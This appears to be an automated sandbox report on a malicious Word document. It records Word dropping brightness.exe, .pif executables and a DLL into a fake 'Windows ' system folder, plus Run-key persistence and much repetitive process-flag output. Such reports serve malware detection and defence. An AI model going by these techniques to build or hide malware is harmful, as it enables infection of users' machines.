              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: .
              Source: NETUTILS.dll.4.drStatic PE information: section name: /4
              Source: NETUTILS.dll.4.drStatic PE information: section name: /19
              Source: NETUTILS.dll.4.drStatic PE information: section name: /31
              Source: NETUTILS.dll.4.drStatic PE information: section name: /45
              Source: NETUTILS.dll.4.drStatic PE information: section name: /57
              Source: NETUTILS.dll.4.drStatic PE information: section name: /70
              Source: NETUTILS.dll.4.drStatic PE information: section name: /81
              Source: NETUTILS.dll.4.drStatic PE information: section name: /92
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0291D2FC push 0291D367h; ret 4_2_0291D35F
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F63AE push 028F640Bh; ret 4_2_028F6403
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F63B0 push 028F640Bh; ret 4_2_028F6403
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290F3FC push ecx; mov dword ptr [esp], edx4_2_0290F401
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F332C push eax; ret 4_2_028F3368
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028FC349 push 8B028FC1h; ret 4_2_028FC34E
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0291D0AC push 0291D125h; ret 4_2_0291D11D
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290306B push 029030B9h; ret 4_2_029030B1
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290306C push 029030B9h; ret 4_2_029030B1
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0291D1F8 push 0291D288h; ret 4_2_0291D280
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0291D144 push 0291D1ECh; ret 4_2_0291D1E4
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F6784 push 028F67C6h; ret 4_2_028F67BE
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F6782 push 028F67C6h; ret 4_2_028F67BE
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02908738 push 0290877Ah; ret 4_2_02908772
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0291C770 push 0291C76Eh; ret 4_2_0291C766
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028FD5A0 push 028FD5CCh; ret 4_2_028FD5C4
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0291C550 push 0291C76Eh; ret 4_2_0291C766
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028FC56C push ecx; mov dword ptr [esp], edx4_2_028FC571
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028FCA4E push 028FCD72h; ret 4_2_028FCD6A
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028FCBEC push 028FCD72h; ret 4_2_028FCD6A
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02908990 push 029089C8h; ret 4_2_029089C0
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290A997 push 0290A9D0h; ret 4_2_0290A9C8
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290A998 push 0290A9D0h; ret 4_2_0290A9C8
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290898E push 029089C8h; ret 4_2_029089C0
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290790C push 02907989h; ret 4_2_02907981
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02906946 push 029069F3h; ret 4_2_029069EB
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02906948 push 029069F3h; ret 4_2_029069EB
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02905E7C push ecx; mov dword ptr [esp], edx4_2_02905E7E
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02902F60 push 02902FD6h; ret 4_2_02902FCE
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_3_2DE306D8 push esp; ret 10_3_2DE3076F
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_3_2DE3088D push ebp; retf 10_3_2DE3088F

              Persistence and Installation Behavior

              barindex
              Drops PE files with a suspicious file extension
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Users\Public\Libraries\npratlsN.pifJump to dropped file
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Windows \SysWOW64\svchost.pifJump to dropped file
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Users\Public\Libraries\Nsltarpn.PIFJump to dropped file
              Drops executables to the windows directory (C:\Windows) and starts them
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEExecutable created and started: C:\Windows\SysWOW64\brightness.exeJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Users\Public\Libraries\npratlsN.pifJump to dropped file
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Windows \SysWOW64\svchost.pifJump to dropped file
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Windows \SysWOW64\NETUTILS.dllJump to dropped file
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to dropped file
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Users\Public\Libraries\Nsltarpn.PIFJump to dropped file
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Windows \SysWOW64\svchost.pifJump to dropped file
              Source: C:\Windows\SysWOW64\brightness.exeFile created: C:\Windows \SysWOW64\NETUTILS.dllJump to dropped file
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to dropped file
              Source: C:\Windows\SysWOW64\brightness.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NsltarpnJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NsltarpnJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290A9D4 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,4_2_0290A9D4
              Source: C:\Users\Public\Libraries\npratlsN.pifRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
              Source: C:\Users\Public\Libraries\npratlsN.pifRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
